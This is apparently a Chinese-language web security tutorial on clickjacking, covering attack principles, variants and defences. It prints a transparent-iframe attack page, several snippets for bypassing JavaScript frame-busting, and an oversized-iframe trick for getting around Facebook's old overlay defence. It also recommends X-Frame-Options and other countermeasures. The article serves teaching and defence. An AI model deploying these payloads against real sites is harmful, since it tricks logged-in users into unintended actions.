Clickjacking攻防
字数 1500 2025-08-29 08:32:02
Clickjacking攻防详解
0x00 概述
Clickjacking(点击劫持)是一种视觉欺骗攻击技术,攻击者通过透明iframe覆盖在网页上,诱使用户在不知情的情况下执行非预期操作。本文将从漏洞原理、威胁场景、防御方式到深入攻防进行全面讲解。
0x01 漏洞简介
基本概念
点击劫持是一种视觉欺骗手段,攻击者使用透明/不可见的iframe覆盖在网页上,诱使用户在目标网页上执行非预期操作。通过调整iframe位置,可诱导用户点击功能性按钮。
攻击原理
- 攻击者创建恶意页面,包含透明iframe指向目标站点
- iframe覆盖在诱骗内容之上
- 用户看似与诱骗内容交互,实际操作的是目标站点
- 操作会携带用户的cookie等身份凭证
实验演示
- 设置DNS解析:远程主机为example.com,本机为hacker.com
- 远程主机运行HTTP服务,提供"文件下载"页面(模拟付款按钮)
- 设置两种cookie:
resp.set_cookie('session-cookie', '123') # 会话cookie resp.set_cookie('third-part-cookie', '456', expires='Sun, 18-Mar-2019 10:05:05 GMT') # 持久cookie - 攻击页面代码:
<!DOCTYPE html> <html> <head> <style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; opacity: 0.2; } button { position: absolute; top: 100px; left: 50px; z-index: 1; width: 120px; } </style> </head> <body> <iframe src="http://www.example.com" scrolling="no"></iframe> <button>Click Here!</button> </body> </html> - 用户点击看似无害的按钮,实际触发了目标站点的操作
0x02 威胁场景
常见攻击变种
- 登录态劫持:诱导已登录用户执行敏感操作
- 复杂操作诱导:通过Flash游戏等方式改变点击位置
- 表单填写攻击:诱导用户填写并提交表单
- 图片覆盖攻击(XSIO):覆盖原站点图片诱导点击钓鱼链接
- 拖拽劫持:利用浏览器拖拽API窃取数据
- 不受同源策略限制
- 可窃取链接、文字等内容
- 移动端攻击:劫持触屏操作,利用隐藏地址栏特性
0x03 防御方式
1. X-Frame-Options HTTP头
推荐程度:★★★★★
X-Frame-Options: DENY # 完全禁止嵌套
X-Frame-Options: SAMEORIGIN # 仅允许同源嵌套
X-Frame-Options: ALLOW-FROM uri # 允许指定源嵌套(Chrome不支持)
2. JavaScript防御
推荐代码(目前无已知绕过方式):
<style>body {display: none;}</style>
<script>
if (self == top) {
document.body.style.display = 'block';
} else {
top.location = self.location;
}
</script>
不推荐代码(可被绕过):
if (top.location != location) {
top.location = self.location;
}
3. 多因素认证
重要操作前要求:
- 二次密码验证
- 隐私问题回答
- 其他验证方式
4. 其他方式
- CSP策略(FireFox支持,不推荐单独使用)
- 避免使用iframe(如无必要)
0x04 深入攻防
JS防御绕过方式
1. JS接口hook
方法一:onBeforeUnload事件
<script>
window.onbeforeunload = function() {
return "浏览5分钟有红包";
}
</script>
<iframe src="http://www.example.com">
IE有效,Chrome已修复
方法二:重写top.location
<script>var location = "clobbered";</script>
<!-- 或 -->
<script>window.__defineSetter__("location", function(){})</script>
<iframe src="http://www.victim.com"></iframe>
部分Safari有效
2. 检查代码绕过
方法一:双重框架
Attacker top frame:
<iframe src='hacker.com'></iframe>
Attacker sub-frame:
<iframe src='example.com'></iframe>
依赖浏览器parent对象处理
方法二:referrer检查绕过
利用正则匹配不严谨
方法三:top.location检查绕过
利用filter函数匹配规则不完善
方法四:移动端疏漏
主站防护但移动版未防护
3. 浏览器特性利用
- XSS过滤器干扰JS执行
- OnBeforeUnload-204冲刷
- iframe的
security='restricted'(IE)或sandbox(Chrome)属性 document.designMode启用(IE/FireFox)
4. 禁用JS
通过浏览器设置或插件禁用JS
Facebook防御案例
原始防御代码:
if (top != self) {
window.document.write("<div style='background: black; opacity: 0.5; position: absolute; top: 0px; left: 0px; width: 9999px; height: 9999px; z-index: 1000001' onClick='top.location.href=window.location.href'></div>")
}
绕过方式:
<body style="overflow-x: hidden; border: 0px; margin: 0px;">
<iframe width="21800px" height="2500px" src="http://facebook.com/"></iframe>
<script>window.scrollTo(10200, 0);</script>
通过超大iframe和滚动避开遮挡层
0x05 最佳实践建议
-
优先使用X-Frame-Options头部
- 重要页面部署
DENY或SAMEORIGIN - 注意代理可能修改头部
- 重要页面部署
-
JS防御作为补充
- 使用推荐的无绕过方案
- 考虑JS禁用时的后备显示
-
关键操作多因素认证
- 支付、敏感设置等操作增加验证
-
全面测试防御效果
- 测试各种绕过可能性
- 业务与安全团队协作确定方案
0x06 参考资料
- 《白帽子讲Web安全》
- 斯坦福大学论文《Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites》